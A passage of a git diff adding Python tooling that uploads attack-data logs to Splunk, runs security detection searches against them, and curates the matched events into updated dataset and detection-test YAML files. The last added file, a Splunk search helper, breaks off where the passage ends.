data_url in seen_urls: + continue + seen_urls.add(data_url) + attack_entry: Dict[str, str] = { + "data": data_url, + "sourcetype": sourcetype, + } + if meta.get("source"): + attack_entry["source"] = meta["source"] + entries.append(attack_entry) + return entries + + +def build_attack_data_entries_from_curated( + source_ymls: List[Path], + matched_dataset_names: Set[str], + project_root: Path, +) -> List[Dict[str, str]]: + """Build detection test attack_data entries from curated YAML files.""" + entries: List[Dict[str, str]] = [] + seen_urls: Set[str] = set() + + for source_yml in source_ymls: + curated_path = curated_attack_data_path_from_source(source_yml) + yml_to_read = curated_path if curated_path.is_file() else source_yml + meta_by_name = load_attack_data_dataset_meta(yml_to_read) + for dataset_name, meta in meta_by_name.items(): + if dataset_name not in matched_dataset_names: + continue + if not meta.get("path") or not meta.get("sourcetype"): + continue + data_url = path_to_attack_data_url(meta["path"]) + if data_url in seen_urls: + continue + seen_urls.add(data_url) + entry: Dict[str, str] = { + "data": data_url, + "sourcetype": meta["sourcetype"], + } + if meta.get("source"): + entry["source"] = meta["source"] + entries.append(entry) + return entries + + +# --------------------------------------------------------------------------- # +# Export +# --------------------------------------------------------------------------- # +def _safe_filename(text: str) -> str: + """Make a dataset name safe to use as a filename component.""" + return re.sub(r"[^A-Za-z0-9._-]+", "_", text).strip("_") or "dataset" + + +def _dataset_log_filename(dataset_name: str, file_uuid: str) -> str: + """Build an exported dataset log filename: ``-.log``.""" + return f"{_safe_filename(dataset_name)}-{file_uuid}.log" + + +def _write_events(path: Path, raw_events: List[str]) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + with open(path, "w", encoding="utf-8") as handle: + for raw in raw_events: + handle.write(raw.rstrip("\n") + "\n") + + +def update_attack_data_yml( + project_root: Path, + file_rel: str, + attack_data_uuid: str, + dataset_events: Dict[str, List[str]], +) -> None: + """Save curated per-dataset logs next to the YAML and update the YAML in place. + + For each dataset that produced matches, its exported events are written to + ``/-.log``. The attack data YAML + is then updated with today's date and a datasets section repointed to those + curated files (datasets without matches are dropped). + """ + yml_abs = Path(file_rel) + if not yml_abs.is_absolute(): + yml_abs = (project_root / file_rel).resolve() + if not yml_abs.is_file(): + print(f" ! Cannot update attack data yml (not found): {yml_abs}") + return + + folder = yml_abs.parent + written_paths: Dict[str, str] = {} + for name, events in dataset_events.items(): + out_file = folder / _dataset_log_filename(name, attack_data_uuid) + _write_events(out_file, events) + try: + written_paths[name] = "/" + str(out_file.relative_to(project_root)) + except ValueError: + written_paths[name] = out_file.name + + try: + with open(yml_abs, "r", encoding="utf-8") as handle: + data = yaml.safe_load(handle) + except (yaml.YAMLError, OSError) as exc: + print(f" ! Failed to read {yml_abs}: {exc}") + return + if not isinstance(data, dict): + print(f" ! Unexpected YAML structure in {yml_abs}; not updating") + return + + data["date"] = datetime.now().strftime("%Y-%m-%d") + data["author"] = ATTACK_DATA_AUTHOR + new_datasets = [] + for dataset in data.get("datasets", []): + name = dataset.get("name") + if name in written_paths: + updated = dict(dataset) + updated["path"] = written_paths[name] + new_datasets.append(updated) + if new_datasets: + data["datasets"] = new_datasets + + try: + with open(yml_abs, "w", encoding="utf-8") as handle: + yaml.safe_dump( + data, handle, sort_keys=False, default_flow_style=False, + allow_unicode=True, + ) + except OSError as exc: + print(f" ! Failed to write {yml_abs}: {exc}") + return + print(f" updated attack data yml: {yml_abs} " + f"(date + {len(new_datasets)} dataset(s))") + + +def path_to_attack_data_url(path: str) -> str: + """Convert a repo dataset path to the attack_data GitHub raw URL.""" + return detection_utils.path_to_attack_data_url(path) + + +def merge_curated_attack_data_yml( + curated_path: Path, + dataset_events: Dict[str, List[str]], + project_root: Path, + attack_data_uuid: str, + dataset_meta: Dict[str, Dict[str, str]], + *, + source_yml: Optional[Path] = None, + detection: Optional[Dict[str, Any]] = None, +) -> None: + """Create or update a curated attack data YAML from exported dataset events.""" + if not dataset_events: + return + + source_data: Dict[str, Any] = {} + source_datasets: Dict[str, Dict[str, Any]] = {} + if source_yml and source_yml.is_file(): + try: + with open(source_yml, "r", encoding="utf-8") as handle: + loaded = yaml.safe_load(handle) + except (yaml.YAMLError, OSError) as exc: + print(f" ! Failed to read source attack data {source_yml}: {exc}") + return + if isinstance(loaded, dict): + source_data = loaded + source_datasets = { + ds.get("name"): ds + for ds in source_data.get("datasets", []) + if isinstance(ds, dict) and ds.get("name") + } + + folder = curated_path.parent + new_entries: List[Dict[str, Any]] = [] + + for name, events in dataset_events.items(): + meta = dataset_meta.get(name, {}) + source_ds = source_datasets.get(name, {}) + log_filename = _dataset_log_filename(name, attack_data_uuid) + out_log = folder / log_filename + _write_events(out_log, events) + try: + path_str = "/" + str(out_log.relative_to(project_root)) + except ValueError: + path_str = out_log.name + + entry: Dict[str, Any] = { + "name": name, + "path": path_str, + "sourcetype": meta.get("sourcetype") or source_ds.get("sourcetype", ""), + } + source = meta.get("source") or source_ds.get("source") + if source: + entry["source"] = source + new_entries.append(entry) + + if curated_path.is_file(): + try: + with open(curated_path, "r", encoding="utf-8") as handle: + data = yaml.safe_load(handle) + except (yaml.YAMLError, OSError) as exc: + print(f" ! Failed to read curated YAML {curated_path}: {exc}") + return + if not isinstance(data, dict): + print(f" ! Unexpected curated YAML structure in {curated_path}") + return + + existing_names = { + ds.get("name") + for ds in data.get("datasets", []) + if isinstance(ds, dict) + } + existing_paths = { + ds.get("path") + for ds in data.get("datasets", []) + if isinstance(ds, dict) + } + appended = 0 + for entry in new_entries: + if entry["name"] in existing_names or entry["path"] in existing_paths: + continue + data.setdefault("datasets", []).append(entry) + existing_names.add(entry["name"]) + existing_paths.add(entry["path"]) + appended += 1 + data["date"] = datetime.now().strftime("%Y-%m-%d") + data["author"] = ATTACK_DATA_AUTHOR + print(f" merged {appended} dataset(s) into {curated_path}") + else: + description = "" + if detection: + description = ( + f"Curated attack data generated for detection {detection.get('name', '')}" + ) + elif source_data.get("description"): + description = str(source_data["description"]) + data = { + "author": ATTACK_DATA_AUTHOR, + "id": attack_data_uuid, + "date": datetime.now().strftime("%Y-%m-%d"), + "description": description, + "environment": source_data.get("environment", "attack_range"), + "directory": folder.name, + "mitre_technique": ( + _mitre_techniques_from_detection(detection) + if detection + else source_data.get("mitre_technique", []) + ), + "datasets": new_entries, + } + print(f" created curated attack data YAML: {curated_path} " + f"({len(new_entries)} dataset(s))") + + try: + with open(curated_path, "w", encoding="utf-8") as handle: + yaml.safe_dump( + data, handle, sort_keys=False, default_flow_style=False, + allow_unicode=True, + ) + except OSError as exc: + print(f" ! Failed to write curated YAML {curated_path}: {exc}") + + +def load_attack_data_dataset_meta(yml_file: Path) -> Dict[str, Dict[str, str]]: + """Return ``{dataset_name: {path, source, sourcetype}}`` from an attack data YAML.""" + _, datasets = parse_attack_data_file(yml_file) + meta: Dict[str, Dict[str, str]] = {} + for dataset in datasets: + name = dataset.get("name") + if not name: + continue + meta[name] = { + "path": dataset.get("path", ""), + "source": dataset.get("source", ""), + "sourcetype": dataset.get("sourcetype", ""), + } + return meta + + +def _resolve_attack_data_yml(project_root: Path, file_rel: str) -> Path: + yml_abs = Path(file_rel) + if not yml_abs.is_absolute(): + yml_abs = (project_root / file_rel).resolve() + return yml_abs + + +def update_detection_tests_yml( + detection_file: Path, + attack_data_entries: List[Dict[str, str]], +) -> bool: + """Replace a detection YAML's ``tests`` section with matched attack data.""" + if not detection_file.is_file(): + print(f" ! Cannot update detection tests (not found): {detection_file}") + return False + + try: + with open(detection_file, "r", encoding="utf-8") as handle: + data = yaml.safe_load(handle) + except (yaml.YAMLError, OSError) as exc: + print(f" ! Failed to read {detection_file}: {exc}") + return False + if not isinstance(data, dict): + print(f" ! Unexpected YAML structure in {detection_file}; not updating") + return False + + data["date"] = datetime.now().strftime("%Y-%m-%d") + data["tests"] = [ + { + "name": "True Positive Test", + "attack_data": attack_data_entries, + } + ] + + try: + with open(detection_file, "w", encoding="utf-8") as handle: + yaml.safe_dump( + data, handle, sort_keys=False, default_flow_style=False, + allow_unicode=True, + ) + except OSError as exc: + print(f" ! Failed to write {detection_file}: {exc}") + return False + print(f" updated detection tests: {detection_file} " + f"({len(attack_data_entries)} dataset(s))") + return True + + +def do_update_detection_tests( + detection_matches: Dict[str, Dict[str, Set[str]]], + uuid_map: Dict[str, Dict[str, Any]], + project_root: Path, +) -> Set[str]: + """Update each detection YAML's tests with attack data that matched it. + + Returns the set of detection file paths that were updated. + """ + updated_files: Set[str] = set() + if not detection_matches: + print("\nNo per-detection matches available; detection tests not updated.") + return updated_files + + print("\nUpdating detection test attack_data sections") + for detection_file, file_matches in sorted(detection_matches.items()): + if not file_matches: + print(f" ! WARNING: no attack data matches for {detection_file}; " + "leaving detection tests unchanged") + continue + + attack_data_entries: List[Dict[str, str]] = [] + seen_urls: Set[str] = set() + + for attack_data_uuid, matched_hosts in file_matches.items(): + entry = uuid_map.get(attack_data_uuid) + if not entry or not matched_hosts: + continue + + yml_abs = _resolve_attack_data_yml(project_root, entry.get("file", "")) + if not yml_abs.is_file(): + print(f" ! Cannot load attack data yml: {yml_abs}") + continue + + meta_by_name = load_attack_data_dataset_meta(yml_abs) + for dataset_name, dataset_uuids in entry["datasets"].items(): + if not (matched_hosts & dataset_uuids): + continue + meta = meta_by_name.get(dataset_name) + if not meta or not meta.get("path") or not meta.get("sourcetype"): + print(f" ! Missing metadata for dataset '{dataset_name}' " + f"in {yml_abs}") + continue + + data_url = path_to_attack_data_url(meta["path"]) + if data_url in seen_urls: + continue + seen_urls.add(data_url) + + attack_data_entry: Dict[str, str] = { + "data": data_url, + "sourcetype": meta["sourcetype"], + } + if meta.get("source"): + attack_data_entry["source"] = meta["source"] + attack_data_entries.append(attack_data_entry) + + if not attack_data_entries: + print(f" ! WARNING: no attack data matches for {detection_file}; " + "leaving detection tests unchanged") + continue + + if update_detection_tests_yml(Path(detection_file), attack_data_entries): + updated_files.add(detection_file) + + return updated_files + + +def _detection_display_name(detection_file: str) -> str: + """Return a human-readable detection label for summary output.""" + path = Path(detection_file) + try: + with open(path, "r", encoding="utf-8") as handle: + data = yaml.safe_load(handle) + if isinstance(data, dict) and data.get("name"): + return str(data["name"]) + except (yaml.YAMLError, OSError): + pass + return path.stem + + +def _status_description(status: str) -> str: + """Return a short human-readable description for a detection status code.""" + descriptions = { + "curated": "matched and curated attack data exported", + "matched": "matched events (no curated output written)", + "no_matches": "no matches", + "search_failed": "Splunk search failed", + "skipped": "skipped (not a valid detection file)", + "no_tests_urls": "no tests.attack_data URLs found", + "no_test_datasets": "no resolvable test datasets found", + "no_source_yml": "no source attack data YAML found", + "upload_failed": "upload failed", + "not_run": "not run", + } + return descriptions.get(status, status.replace("_", " ")) + + +def _partition_detection_results( + detection_files: List[Path], + detection_status: Dict[str, str], + detection_matched_counts: Dict[str, int], +) -> Tuple[List[Tuple[str, str, str, int]], List[Tuple[str, str, str, int]]]: + """Split detections into successfully extracted vs failed result tuples.""" + successful: List[Tuple[str, str, str, int]] = [] + failed: List[Tuple[str, str, str, int]] = [] + + for det_file in detection_files: + det_path = str(det_file) + status = detection_status.get(det_path, "not_run") + name = _detection_display_name(det_path) + matched_count = detection_matched_counts.get(det_path, 0) + entry = (name, det_path, status, matched_count) + if status in EXTRACTION_SUCCESS_STATUSES: + successful.append(entry) + else: + failed.append(entry) + return successful, failed + + +def print_extraction_summary( + detection_files: List[Path], + detection_status: Dict[str, str], + detection_matched_counts: Dict[str, int], + ignored_detections: Optional[List[Tuple[str, str, str]]] = None, +) -> None: + """Print successful and failed detection extractions at the end of a run.""" + ignored_detections = ignored_detections or [] + successful, failed = _partition_detection_results( + detection_files, detection_status, detection_matched_counts + ) + + print("\n" + "=" * 60) + print(f"SUCCESSFUL EXTRACTIONS ({len(successful)})") + print("=" * 60) + if successful: + for name, path, status, matched_count in sorted( + successful, key=lambda item: item[0].lower() + ): + print(f" - {name}") + print(f" file: {path}") + print(f" status: {status}") + print(f" matched events: {matched_count}") + else: + print(" (none)") + + print("\n" + "=" * 60) + print(f"FAILED EXTRACTIONS ({len(failed)})") + print("=" * 60) + if failed: + for name, path, status, matched_count in sorted( + failed, key=lambda item: item[0].lower() + ): + print(f" - {name}") + print(f" file: {path}") + print(f" status: {status}") + print(f" reason: {_status_description(status)}") + if matched_count: + print(f" matched events: {matched_count}") + else: + print(" (none)") + + if ignored_detections: + print("\n" + "=" * 60) + print(f"IGNORED ({len(ignored_detections)})") + print("=" * 60) + for name, path, status in sorted(ignored_detections, key=lambda item: item[0].lower()): + print(f" - {name}") + print(f" file: {path}") + print(f" status: {status}") + + +def write_migration_run_log( + log_path: Path, + detection_files: List[Path], + detection_status: Dict[str, str], + detection_matched_counts: Dict[str, int], + *, + index: str, + total_matched: int, + ignored_detections: Optional[List[Tuple[str, str, str]]] = None, +) -> None: + """Write a summary log of successful and failed detections from a ``run``.""" + ignored_detections = ignored_detections or [] + successful, failed = _partition_detection_results( + detection_files, detection_status, detection_matched_counts + ) + + log_path.parent.mkdir(parents=True, exist_ok=True) + timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") + lines = [ + f"Migrate run log - {timestamp}", + "=" * 60, + f"Index: {index}", + f"Detections processed: {len(detection_files)}", + f"Ignored (experimental/deprecated): {len(ignored_detections)}", + f"Successful extractions: {len(successful)}", + f"Failed extractions: {len(failed)}", + f"Total matched events: {total_matched}", + "", + f"SUCCESSFUL EXTRACTIONS ({len(successful)})", + "-" * 60, + ] + if successful: + for name, path, status, matched_count in sorted( + successful, key=lambda item: item[0].lower() + ): + lines.extend( + [ + f"- {name}", + f" file: {path}", + f" status: {status}", + f" reason: {_status_description(status)}", + f" matched events: {matched_count}", + "", + ] + ) + else: + lines.append(" (none)") + lines.append("") + + lines.extend([f"FAILED EXTRACTIONS ({len(failed)})", "-" * 60]) + if failed: + for name, path, status, matched_count in sorted( + failed, key=lambda item: item[0].lower() + ): + block = [ + f"- {name}", + f" file: {path}", + f" status: {status}", + f" reason: {_status_description(status)}", + ] + if matched_count: + block.append(f" matched events: {matched_count}") + block.append("") + lines.extend(block) + else: + lines.append(" (none)") + lines.append("") + + if ignored_detections: + lines.extend([f"IGNORED ({len(ignored_detections)})", "-" * 60]) + for name, path, status in sorted(ignored_detections, key=lambda item: item[0].lower()): + lines.extend( + [ + f"- {name}", + f" file: {path}", + f" status: {status}", + "", + ] + ) + + try: + with open(log_path, "w", encoding="utf-8") as handle: + handle.write("\n".join(lines).rstrip() + "\n") + except OSError as exc: + print(f" ! Failed to write run log {log_path}: {exc}") + return + print(f"\nRun log written to {log_path}") + + +def print_not_updated_detections( + detection_files: List[Path], + detection_status: Dict[str, str], + updated_files: Set[str], + curated_files: Set[str], + update_detection_tests: bool, +) -> None: + """Print detections that were not curated or had their tests updated.""" + not_updated: List[Tuple[str, str, str]] = [] + + for det_file in detection_files: + det_path = str(det_file) + status = detection_status.get(det_path, "not_run") + + if det_path in curated_files: + if update_detection_tests and det_path not in updated_files: + reason = "curated_without_test_update" + else: + continue + elif update_detection_tests: + if det_path in updated_files: + continue + if status == "matched": + reason = "no_attack_data_entries" + else: + reason = status + elif status == "matched": + reason = "no_curated_output" + elif status in ("curated",): + continue + elif status not in ( + "no_matches", + "search_failed", + "skipped", + "no_tests_urls", + "no_test_datasets", + "no_source_yml", + "upload_failed", + "not_run", + ): + continue + else: + reason = status + + name = _detection_display_name(det_path) + not_updated.append((name, det_path, reason)) + + print("\n" + "=" * 60) + print("DETECTIONS NOT UPDATED") + print("=" * 60) + if not not_updated: + print(" (none)") + return + + for name, path, reason in sorted(not_updated, key=lambda item: item[0].lower()): + print(f" - {name}") + print(f" file: {path}") + print(f" reason: {reason.replace('_', ' ')}") + + +def do_export( + service, + index: str, + uuid_map: Dict[str, Dict[str, Any]], + matched_hosts: Set[str], + export_dir: Optional[str], + update_attack_data: bool, + project_root: Path, + earliest: str, + latest: str, +) -> None: + """Export matched events, one file per dataset. + + For every dataset of every attack data file, the intersection of that + dataset's uploaded UUIDs with the globally matched hosts is exported to + ``/-.log``. When + ``update_attack_data`` is set, the curated events are also written into the + attack data YAML's own folder and the YAML is updated (new date + datasets + section). + """ + if not matched_hosts: + print("\nNo matched host UUIDs to export.") + for attack_data_uuid, entry in uuid_map.items(): + print(f" ! WARNING: no detection matches for " + f"{entry.get('file', attack_data_uuid)}; " + "leaving attack data unchanged (no export)") + return + + out_dir: Optional[Path] = None + if export_dir: + out_dir = Path(export_dir) + if not out_dir.is_absolute(): + out_dir = (Path.cwd() / out_dir).resolve() + out_dir.mkdir(parents=True, exist_ok=True) + + print(f"\nExporting matched events per dataset from index={index}") + total_events = 0 + total_files = 0 + + for attack_data_uuid, entry in uuid_map.items(): + # Skip files with no detection hits: no export, no yml update, warn. + if not (matched_hosts & _file_uuid_set(entry)): + print(f" ! WARNING: no detection matches for " + f"{entry.get('file', attack_data_uuid)}; " + "leaving attack data unchanged (no export)") + continue + + dataset_events: Dict[str, List[str]] = {} + for dataset_name, dataset_uuids in entry["datasets"].items(): + hosts = matched_hosts & dataset_uuids + if not hosts: + continue + + raw_events = splunk_search.export_events( + service, index, hosts, earliest_time=earliest, latest_time=latest + ) + total_events += len(raw_events) + filename = _dataset_log_filename(dataset_name, attack_data_uuid) + print(f" {dataset_name} ({attack_data_uuid}): " + f"{len(hosts)} matched host(s), {len(raw_events)} event(s) -> {filename}") + + if out_dir is not None: + _write_events(out_dir / filename, raw_events) + total_files += 1 + dataset_events[dataset_name] = raw_events + + if update_attack_data and dataset_events: + update_attack_data_yml( + project_root, entry.get("file", ""), attack_data_uuid, dataset_events + ) + + if out_dir is not None: + print(f"Wrote {total_files} dataset file(s), {total_events} event(s) to {out_dir}") + elif not update_attack_data: + print(f"Retrieved {total_events} event(s) " + "(no --export-dir / --update-attack-data; not written)") + + +# --------------------------------------------------------------------------- # +# Argument parsing +# --------------------------------------------------------------------------- # +def add_common_splunk_args(parser: argparse.ArgumentParser) -> None: + parser.add_argument("--host", help="Splunk host (default: $SPLUNK_HOST)") + parser.add_argument( + "--index", default=DEFAULT_INDEX, + help=f"Target Splunk index (default: {DEFAULT_INDEX})", + ) + + +def add_hec_args(parser: argparse.ArgumentParser) -> None: + parser.add_argument("--hec-token", help="HEC token (default: $SPLUNK_HEC_TOKEN)") + parser.add_argument( + "--hec-port", help=f"HEC port (default: $SPLUNK_HEC_PORT or {DEFAULT_HEC_PORT})" + ) + parser.add_argument( + "--batch-size", type=int, default=DEFAULT_BATCH_SIZE, + help="Events per HEC request; use 1 for one request per line " + f"(default: {DEFAULT_BATCH_SIZE})", + ) + parser.add_argument( + "--verify-tls", action="store_true", + help="Verify the Splunk TLS certificate (disabled by default)", + ) + + +def add_search_args(parser: argparse.ArgumentParser) -> None: + parser.add_argument("--username", help="Splunk user (default: $SPLUNK_USERNAME)") + parser.add_argument("--password", help="Splunk password (default: $SPLUNK_PASSWORD)") + parser.add_argument( + "--mgmt-port", + help=f"Splunk management port (default: $SPLUNK_PORT or {DEFAULT_MGMT_PORT})", + ) + parser.add_argument( + "--earliest", default=splunk_search.DEFAULT_EARLIEST, + help="Search earliest time (default: 0 / all time)", + ) + parser.add_argument( + "--latest", default=splunk_search.DEFAULT_LATEST, + help="Search latest time (default: now)", + ) + parser.add_argument( + "--verify-ssl", action="store_true", + help="Verify the Splunk TLS certificate for searches (disabled by default)", + ) + + +def parse_arguments() -> argparse.Namespace: + parser = argparse.ArgumentParser( + description=__doc__, + formatter_class=argparse.RawDescriptionHelpFormatter, + ) + sub = parser.add_subparsers(dest="command", required=True) + + # upload + p_upload = sub.add_parser("upload", help="Upload attack data to Splunk HEC") + p_upload.add_argument( + "--attack-data", required=True, + help="Attack data YAML file or folder to upload", + ) + add_common_splunk_args(p_upload) + add_hec_args(p_upload) + + # run (upload + detect + export) + p_run = sub.add_parser( + "run", help="Upload, run detections, and export matching events" + ) + p_run.add_argument( + "--attack-data-root", "--attack-data", + dest="attack_data_root", + default="datasets", + help="Root folder for resolving detection test URLs to local attack data " + "(default: datasets). Use e.g. scripts/attack_technique_tests for alternate " + "layouts.", + ) + p_run.add_argument( + "--detection", required=True, + help="Detection YAML file or folder (security_content)", + ) + p_run.add_argument( + "--start-from-detection-id", + help="Resume processing at this detection UUID (inclusive, alphabetical order)", + ) + p_run.add_argument( + "--export-dir", + help="Optional folder for extra exported log copies", + ) + p_run.add_argument( + "--update-attack-data", action="store_true", + help="(Legacy) Also mutate source attack data YAML files in place", + ) + p_run.add_argument( + "--update-detection-tests", action="store_true", + help="Update each detection YAML's tests section with attack data that " + "matched that detection", + ) + p_run.add_argument( + "--no-delete", action="store_true", + help="Do not run 'index= | delete' to clean up the index after " + "the run (cleanup is on by default)", + ) + p_run.add_argument( + "--index-wait", type=int, default=DEFAULT_INDEX_WAIT_SECONDS, + help="Seconds to wait after HEC upload before running detection searches, " + f"so Splunk can index events (default: {DEFAULT_INDEX_WAIT_SECONDS}; 0 to disable)", + ) + p_run.add_argument( + "--run-log", default=DEFAULT_RUN_LOG, + help=f"Write a success/failure summary log to this file (default: {DEFAULT_RUN_LOG})", + ) + add_common_splunk_args(p_run) + add_hec_args(p_run) + add_search_args(p_run) + + return parser.parse_args() + + +# --------------------------------------------------------------------------- # +# Command handlers +# --------------------------------------------------------------------------- # +def resolve_attack_data_files(raw_path: str, project_root: Path) -> List[Path]: + path = Path(raw_path) + if not path.is_absolute(): + candidate = (Path.cwd() / path) + path = candidate if candidate.exists() else (project_root / raw_path) + files = find_attack_data_files(path) + if not files: + print(f"Error: no attack data files found at {path}") + sys.exit(1) + return files + + +def resolve_detection_files(raw_path: str) -> List[Path]: + files = detection_utils.find_detection_files(raw_path) + if not files: + print(f"Error: no detection files found at {raw_path}") + sys.exit(1) + return files + + +def cmd_upload(args: argparse.Namespace) -> None: + project_root = get_project_root() + try: + hec_config = load_hec_config(args) + except ValueError as exc: + print(f"Error: {exc}") + sys.exit(1) + if args.batch_size < 1: + print("Error: --batch-size must be >= 1") + sys.exit(1) + + yaml_files = resolve_attack_data_files(args.attack_data, project_root) + store = memory_store.MigrationStore() + print(f"Uploading to Splunk HEC at {hec_config['host']}:{hec_config['port']} " + f"(index={args.index})") + print(f"Found {len(yaml_files)} attack data file(s)") + + do_upload( + yaml_files=yaml_files, + store=store, + hec_config=hec_config, + project_root=project_root, + index=args.index, + batch_size=args.batch_size, + verify_tls=args.verify_tls, + ) + + +def cmd_run(args: argparse.Namespace) -> None: + project_root = get_project_root() + if args.batch_size < 1: + print("Error: --batch-size must be >= 1") + sys.exit(1) + + try: + mgmt_config = load_mgmt_config(args) + hec_config = load_hec_config(args) + except ValueError as exc: + print(f"Error: {exc}") + sys.exit(1) + + all_detection_files = resolve_detection_files(args.detection) + detection_files = filter_detections_from_id( + all_detection_files, + args.start_from_detection_id, + ) + detection_files, ignored_detections = filter_runnable_detections(detection_files) + attack_data_root = resolve_attack_data_root(args.attack_data_root, project_root) + store = memory_store.MigrationStore() + print(f"Attack data root: {attack_data_root}") + if ignored_detections: + print(f"Ignoring {len(ignored_detections)} detection(s) " + f"with status experimental or deprecated:") + for name, path, status in ignored_detections: + print(f" - {name} ({path}): status={status}") + print(f"Processing {len(detection_files)} detection(s) in alphabetical order") + + if not args.verify_ssl: + disable_warnings() + service = splunk_search.connect( + host=mgmt_config["host"], + port=mgmt_config["port"], + username=mgmt_config["username"], + password=mgmt_config["password"], + verify_ssl=args.verify_ssl, + ) + + hec_session: Optional[requests.Session] = None + hec_url: Optional[str] = None + if not args.verify_tls: + disable_warnings() + hec_session = requests.Session() + hec_url = build_hec_url(hec_config) + + detection_status: Dict[str, str] = {} + detection_matched_counts: Dict[str, int] = {} + updated_detection_files: Set[str] = set() + curated_detection_files: Set[str] = set() + total_matched = 0 + test_dataset_count = 0 + + for det_file in detection_files: + detection = detection_utils.load_full_detection(det_file) + det_path = str(det_file) + print("\n" + "=" * 60) + if detection: + print(f"Detection: {detection['name']} ({det_path})") + else: + print(f"Detection: {det_path}") + + if not detection: + detection_status[det_path] = "skipped" + continue + + test_entries = detection_utils.parse_detection_tests(detection) + if not test_entries: + print(" ! No tests.attack_data URLs found; skipping") + detection_status[det_path] = "no_tests_urls" + continue + + dataset_specs = resolve_detection_test_datasets( + detection, project_root, attack_data_root + ) + if not dataset_specs: + detection_status[det_path] = "no_test_datasets" + continue + test_dataset_count += len(dataset_specs) + + uuid_map = upload_detection_test_datasets( + dataset_specs=dataset_specs, + session=hec_session, + url=hec_url, + store=store, + hec_config=hec_config, + project_root=project_root, + index=args.index, + batch_size=args.batch_size, + verify_tls=args.verify_tls, + ) + + if not any(entry["datasets"] for entry in uuid_map.values()): + print(" ! No event UUIDs uploaded for this detection; skipping") + detection_status[det_path] = "upload_failed" + continue + + if args.index_wait > 0: + print(f" Waiting {args.index_wait}s for Splunk indexing...") + time.sleep(args.index_wait) + + matched, _, status = run_single_detection( + detection_file=det_file, + service=service, + store=store, + uuid_map=uuid_map, + earliest=args.earliest, + latest=args.latest, + ) + detection_status[det_path] = status + detection_matched_counts[det_path] = len(matched) + total_matched += len(matched) + + if status == "matched": + curated = export_and_curate_detection( + service=service, + index=args.index, + uuid_map=uuid_map, + matched_hosts=matched, + export_dir=args.export_dir, + project_root=project_root, + earliest=args.earliest, + latest=args.latest, + detection=detection, + ) + if curated: + detection_status[det_path] = "curated" + curated_detection_files.add(det_path) + + if args.update_attack_data: + do_export( + service=service, + index=args.index, + uuid_map=uuid_map, + matched_hosts=matched, + export_dir=None, + update_attack_data=True, + project_root=project_root, + earliest=args.earliest, + latest=args.latest, + ) + + if args.update_detection_tests: + matched_dataset_names: Set[str] = set() + for entry in uuid_map.values(): + for dataset_name, dataset_uuids in entry["datasets"].items(): + if matched & dataset_uuids: + matched_dataset_names.add(dataset_name) + attack_data_entries = build_attack_data_entries_from_uuid_map( + uuid_map, matched_dataset_names, project_root + ) + if attack_data_entries and update_detection_tests_yml( + det_file, attack_data_entries + ): + updated_detection_files.add(det_path) + + if not args.no_delete: + deleted = splunk_search.delete_index_data(service, args.index) + print(f" deleted {deleted} event(s) from index={args.index}") + + print("\n" + "=" * 60) + print("PIPELINE SUMMARY") + print("=" * 60) + print(f"Detections processed: {len(detection_files)}") + print(f"Test datasets referenced: {test_dataset_count}") + print(f"Curated detections: {len(curated_detection_files)}") + print(f"Total matched events: {total_matched}") + + print_extraction_summary( + detection_files=detection_files, + detection_status=detection_status, + detection_matched_counts=detection_matched_counts, + ignored_detections=ignored_detections, + ) + + print_not_updated_detections( + detection_files=detection_files, + detection_status=detection_status, + updated_files=updated_detection_files, + curated_files=curated_detection_files, + update_detection_tests=args.update_detection_tests, + ) + + run_log_path = Path(args.run_log) + if not run_log_path.is_absolute(): + run_log_path = (Path.cwd() / run_log_path).resolve() + write_migration_run_log( + run_log_path, + detection_files, + detection_status, + detection_matched_counts, + index=args.index, + total_matched=total_matched, + ignored_detections=ignored_detections, + ) + + +def main() -> None: + args = parse_arguments() + load_env() + if args.command == "upload": + cmd_upload(args) + elif args.command == "run": + cmd_run(args) + else: # pragma: no cover - argparse enforces valid commands + print(f"Unknown command: {args.command}") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/scripts/migrate_run.log b/scripts/migrate_run.log new file mode 100644 index 000000000..a446fc2b1 --- /dev/null +++ b/scripts/migrate_run.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a6bca32e15a77cf4eea1cf335899b8adea72a8c3d2976b387d6e30e6178b550c +size 18986 diff --git a/scripts/requirements.txt b/scripts/requirements.txt new file mode 100644 index 000000000..97019b548 --- /dev/null +++ b/scripts/requirements.txt @@ -0,0 +1,5 @@ +requests +urllib3 +pyyaml +splunk-sdk +python-dotenv diff --git a/scripts/splunk_search.py b/scripts/splunk_search.py new file mode 100644 index 000000000..5096310ce --- /dev/null +++ b/scripts/splunk_search.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +""" +Splunk search helpers (REST / management API). + +Used to run security_content detections and to export matching raw events. +Uploading of data is handled separately over HEC in migrate.py; searching uses +the Splunk management port (default 8089) with username/password. +""" + +import time +from typing import Dict, Iterable, List, Optional, Set + +import splunklib.client as client +import splunklib.results as results + +DEFAULT_MGMT_PORT = 8089 +# Attack data timestamps can be years old, so default to an all-time window. +DEFAULT_EARLIEST = "0" +DEFAULT_LATEST = "now" +# Max UUIDs per exported search to keep the SPL query length reasonable. +EXPORT_HOST_CHUNK = 500 + + +def connect( + host: str, + port: int, + username: str, + password: str, + verify_ssl: bool = False, +): + """Connect to Splunk via the management API and return a service handle.""" + return client.connect( + host=host, + port=int(port), + username=username, + password=password, + scheme="https", + verify=verify_ssl, + ) + + +def _as_search_command(spl: str) -> str: + """Ensure the SPL is dispatchable (must start with 'search' or '|').""" + stripped = spl.strip() + if stripped.startswith("|") or stripped.lower().startswith("search "): + return stripped + return f"search {stripped}" + + +def run_search( + service, + spl: str, + earliest_time: str = DEFAULT_EARLIEST, + latest_time: str = DEFAULT_LATEST, + max_count: int = 50000, +) -> List[Dict[str, str]]: + """Run a blocking search and return result rows as dicts.""" + query = _as_search_command(spl) + print(f" SPL [earliest={earliest_time}, latest={latest_time}]: {query}") + job = service.jobs.create( + query, + earliest_time=earliest_time, + latest_time=latest_time, + max_count=max_count, + output_mode="json", + exec_mode="normal", + ) + while not job.is_done(): + time.sleep(0.5) + + rows: List[Dict[str, str]] = [] + stream = job.results(output_mode="json", count=max_count) + for item in results.JSONResultsReader(stream): + if isinstance(item, dict): + rows.append(item) + job.cancel() + return rows + + +def delete_index_data(service, index: str) -> int: + """Delete all events in an index via ``search index= | delete``. + + Requires a Splunk user with the ``can_delete`` capability. Uses an all-time + window so every event is removed regardless of its timestamp. Returns the + number of events reported deleted. + """ + query = f"search index={index} | delete" 